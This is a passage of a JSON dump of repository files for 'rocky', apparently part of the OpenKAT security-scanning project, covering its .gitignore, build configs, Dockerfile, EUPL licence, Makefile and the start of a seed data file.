    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env.test\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\ndoc/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\npythonenv*\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n/bytes/bytes-data\n/errors\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n\n# From Rocky\ndb.sqlite3\n.env\nstatic\ndatabase.env\npackage-lock.json\n.email_logs\n*.sqlite3\n*.sql\nassets/boefjes/\nassets/bytes/\n\n# Don't ignore sql-files in export_migrations\n!/export_migrations/*.sql\n!/export_migrations/*.sqlite3\n\n# don't ignore debian package files\n!packaging/deb/data/usr/lib\n# robot framework\ntests/robot/results*\n\n# debian build artifacts\ndebhelper-build-stamp\n*.debhelper\n*.deb\n*.dsc\n*.build\n*.buildinfo\n*.changes\n*.substvars\ndebian/*/\ndebian/*.log\ndebian/files\ndebian/changelog\n"
  },
  {
    "path": "rocky/.nvmrc",
    "content": "v16\n"
  },
  {
    "path": "rocky/.parcelrc",
    "content": "{\n  \"extends\": \"@parcel/config-default\",\n  \"optimizers\": {\n    \"**/fonts/**/*.svg\": [],\n    \"**/tabler-icons*.svg\": [],\n    \"*.svg\": [\"@parcel/optimizer-svgo\"]\n  }\n}\n"
  },
  {
    "path": "rocky/.prettierignore",
    "content": "*.html\n*.min.js\nassets/dist/\nassets/vendors/\n"
  },
  {
    "path": "rocky/.sassrc",
    "content": "{\n  \"includePaths\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "rocky/Dockerfile",
    "content": "# syntax=docker/dockerfile:1\nARG PYTHON_VERSION=3.13\nFROM node:20-bookworm AS node_builder\n\nWORKDIR /app\n\nCOPY rocky/package.json rocky/yarn.lock rocky/.parcelrc .\nCOPY rocky/assets assets\nCOPY rocky/components components\n\nRUN yarn --ignore-engines && yarn build\n\nFROM python:$PYTHON_VERSION-bookworm AS dev\n\nENV GRANIAN_WORKERS=2\nENV GRANIAN_THREADS=4\n\nARG USER_UID=1000\nARG USER_GID=1000\n\nENTRYPOINT [\"/app/rocky/entrypoint.sh\"]\n\nRUN groupadd --gid \"$USER_GID\" rocky\nRUN adduser --disabled-password --gecos '' --uid \"$USER_UID\" --gid \"$USER_GID\" rocky\n\nWORKDIR /app/rocky\n\nRUN --mount=type=cache,target=/var/cache/apt \\\n  apt-get update \\\n  && apt-get -y upgrade \\\n  && apt-get install -y --no-install-recommends gettext netcat-openbsd \\\n  && rm -rf /var/lib/apt/lists/*\n\n# Build with \"docker build --build-arg ENVIRONMENT=dev\" to install dev\n# dependencies\nARG ENVIRONMENT\n\n# This works around https://github.com/pypa/pip/issues/6469 by installing the git\n# requirements separately\nCOPY rocky/requirements*.txt .\nRUN --mount=type=cache,target=/root/.cache \\\n    pip install --upgrade pip \\\n    && if [ \"$ENVIRONMENT\" = \"dev\" ]; \\\n    then \\\n    grep -v git+https:// requirements-dev.txt | pip install -r /dev/stdin && \\\n    grep git+https:// requirements-dev.txt | pip install -r /dev/stdin ; \\\n    else \\\n    grep -v git+https:// requirements.txt | pip install -r /dev/stdin && \\\n    grep git+https:// requirements.txt | pip install -r /dev/stdin ; \\\n    fi\n\nFROM dev\n\nCOPY octopoes/ /tmp/octopoes\nRUN pip install setuptools && cd /tmp/octopoes && python setup.py bdist_wheel\nRUN pip install /tmp/octopoes/dist/octopoes*.whl\n\nCOPY rocky .\n\n# These files need to be available when we run collectstatic\nCOPY --link --from=node_builder /app/assets/dist assets/dist\n\n# The secret key isn't used by the commands, but Django won't work do anything\n# without it\n\nRUN export SECRET_KEY=\"secret\" BYTES_API=\"http://bytes:8000\" BYTES_PASSWORD=\"password\" \\\n    BYTES_USERNAME=\"username\" KATALOGUS_API=\"http://katalogus:8000\" \\\n    OCTOPOES_API=\"http://octopoes_api:80\" SCHEDULER_API=\"http://scheduler:8000\" \\\n    && python manage.py collectstatic -l && python manage.py compilemessages\n\nUSER rocky\n\nCMD [\"granian\", \"--interface\", \"wsgi\", \"rocky.wsgi:application\", \"--host\", \"0.0.0.0\"]\n"
  },
  {
    "path": "rocky/LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "rocky/MANIFEST.in",
    "content": "include LICENSE\n\nrecursive-include rocky/templates *.html\nrecursive-include rocky/templates *.txt\nrecursive-include rocky/locale *.mo\nrecursive-include rocky/locale *.po\nrecursive-include katalogus/templates *.html\nrecursive-include katalogus/templates *.txt\nrecursive-include account/templates *.html\nrecursive-include account/templates *.txt\nrecursive-include onboarding/templates *.html\nrecursive-include onboarding/templates *.txt\nrecursive-include reports *.html\nrecursive-include crisis_room *.html\nrecursive-include crisis_room *.json\n"
  },
  {
    "path": "rocky/Makefile",
    "content": ".PHONY: build build-rocky build-rocky-frontend run test export_migrations debian clean\n\n\n# Export Docker buildkit options\nexport DOCKER_BUILDKIT=1\nexport COMPOSE_DOCKER_CLI_BUILD=1\n\n# Do not turn on OpenTelemetry when building Rocky\nunexport SPAN_EXPORT_GRPC_ENDPOINT\n\nbuild: build-rocky build-rocky-frontend\n\nbuild-rocky:\n# Set DATABASE_MIGRATION=false to prevent entrypoint from running migration\n\tdocker compose run --rm -e DATABASE_MIGRATION=false rocky make build-rocky-native\n\ndashboards:\n\tdocker compose run --rm rocky python3 manage.py dashboards\n\nbuild-rocky-native:\n\twhile ! nc -vz $$ROCKY_DB_HOST $$ROCKY_DB_PORT; do sleep 0.1; done\n\tpython3 manage.py migrate\n\t-python3 manage.py createsuperuser --no-input\n\tpython3 manage.py loaddata OOI_database_seed.json\n\tpython3 manage.py setup_dev_account\n\tpython3 manage.py compilemessages\n\nbuild-rocky-frontend:\n\tdocker run --rm -v $$PWD:/app/rocky node:20-bookworm sh -c \"cd /app/rocky && yarn --ignore-engine && yarn build && chown -R $$(id -u) .parcel-cache node_modules assets/dist\"\n\nalmost-flush:\n\tdocker compose run --rm rocky python manage.py almost_flush\n\nrun:\n\tpython3 manage.py runserver\n\ntest:\n\tpython3 manage.py test\n\ntestclean:\n\tdocker compose -f .ci/docker-compose.yml kill\n\tdocker compose -f .ci/docker-compose.yml down --remove-orphans\n\tdocker compose -f .ci/docker-compose.yml build\n\nutest: testclean ## Run the unit tests.\n\tdocker compose -f .ci/docker-compose.yml run --rm rocky_tests\n\nitest: testclean ## Run the integration tests.\n\tdocker compose -f .ci/docker-compose.yml run --rm rocky_integration\n\nbench: testclean ## Run the report benchmark.\n\tdocker compose -f .ci/docker-compose.yml run --rm rocky_integration \\\n\tpython -m cProfile -o .ci/bench_$$(date +%Y_%m_%d-%H:%M:%S).pstat -m pytest -m slow --no-cov tests/integration\n\nexport_migrations:\n\tpython3 manage.py export_migrations contenttypes 0001\n\tpython3 manage.py export_migrations auth 0001\n\tpython3 manage.py export_migrations admin 0001\n\tpython3 manage.py export_migrations sessions 0001\n\tpython3 manage.py export_migrations two_factor 0001\n\tpython3 manage.py export_migrations otp_static 0001\n\tpython3 manage.py export_migrations otp_totp 0001\n\tpython3 manage.py export_migrations tools 0001\n\tpython3 manage.py export_migrations fmea 0001\n\tpython3 manage.py export_migrations accounts 0001\n\tpython3 manage.py export_migrations crisis_room 0001\n\nlanguages:\n# Extracts strings to `.pot` file which should be translated\n# Note that the creation of `.po` files is delegated to another tool (Weblate)\n\tpython3 manage.py makemessages -i \"venv/*\" -i \"build/*\" -i \"octopoes/*\" -i \"node_modules/*\" --verbosity 2 --add-location file -a --keep-pot\n\nlang: languages\n\ndebian12:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-rocky \\\n\t--env REPOSITORY=minvws/nl-kat-rocky \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--mount type=bind,src=${CURDIR}/../octopoes,dst=/octopoes \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nubuntu22.04:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-rocky \\\n\t--env REPOSITORY=minvws/nl-kat-rocky \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--mount type=bind,src=${CURDIR}/../octopoes,dst=/octopoes \\\n\t--workdir /app \\\n\tkat-ubuntu22.04-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nclean:\n\trm -rf build\n\trm -rf debian/kat-rocky/ debian/.debhelper debian/files static/ rocky.egg-info/ node_modules/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/kat-rocky.*.debhelper\n\trm -f debian/kat-rocky.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n\ncheck:\n\tpre-commit run --all-files --show-diff-on-failure --color always\n\ntest-prepare:\n\tpython3 manage.py flush --no-input\n\tpython3 manage.py migrate\n\tDJANGO_SUPERUSER_PASSWORD=robotpassword python3 manage.py createsuperuser --email robot@localhost --noinput\n\tpython3 manage.py loaddata OOI_database_seed.json\n\tpython3 manage.py setup_dev_account\n\ntest-rf: # Usage: `make test-rf headless=<bool>`\n\tpip3 install robotframework robotframework-browser robotframework-debuglibrary robotframework-otp robotframework-postgresqldb\n\trfbrowser init\n\n# Test fresh login while creating all users and running report generation as the superadmin\n\tdocker exec -it nl-kat-coordination_rocky_1 make test-prepare\n\trobot -d tests/robot/results-complete_onboarding -v headless:$(headless) tests/robot/complete_onboarding\n\n#test-rf-onboarding: # Usage: `make test-rf-onboarding headless=<bool>`\n#\t# Test fresh login while fully skipping onboarding\n#\tdocker exec -it nl-kat_rocky_1 make test-prepare\n#\trobot -d tests/robot/results-skip_onboarding_no_report -v headless:$(headless) tests/robot/skip_onboarding_no_report\n#\n#\t# Test fresh login while generating a report but not creating more user accounts\n#\tdocker exec -it nl-kat_rocky_1 make test-prepare\n#\trobot -d tests/robot/results-skip_onboarding_with_report -v headless:$(headless) tests/robot/skip_onboarding_with_report\n#\n#\t# Test fresh login while creating all users and running report generation as the redteamer\n#\tdocker exec -it nl-kat_rocky_1 make test-prepare\n#\trobot -d tests/robot/results-complete_onboarding -v headless:$(headless) tests/robot/complete_onboarding\n#\n#\t# You can run `make reset-database` manually after running tests to reset the database and create a new superuser account\n#\n#test-rf-functional: # Usage: `make test-rf-functional headless=<bool>`\n#\t# Test fresh login while fully skipping onboarding and running some functional tests\n#\t# These tests require clean databases\n#\tcd ../ && make kat\n#\tdocker exec -it nl-kat_rocky_1 make test-prepare\n#\trobot -d tests/robot/results-skip_onboarding_with_functional_tests -v headless:$(headless) tests/robot/skip_onboarding_with_functional_tests\n"
  },
  {
    "path": "rocky/OOI_database_seed.json",
    "content": "[\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"Network\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"A computer network is a group of computers that use a set of common communication protocols over digital interconnections for the purpose of sharing resources located on or provided by the network nodes. The interconnections between nodes are formed from a broad spectrum of telecommunication network technologies, based on physically wired, optical, and wireless radio-frequency methods that may be arranged in a variety of network topologies.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSRecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. Most prominently, it translates more readily memorized domain names to the numerical IP addresses needed for locating and identifying computer services and devices with the underlying network protocols.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSZone\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"A DNS zone is any distinct, contiguous portion of the domain name space in the Domain Name System (DNS) for which administrative responsibility has been delegated to a single manager.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"CVEFindingType\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": 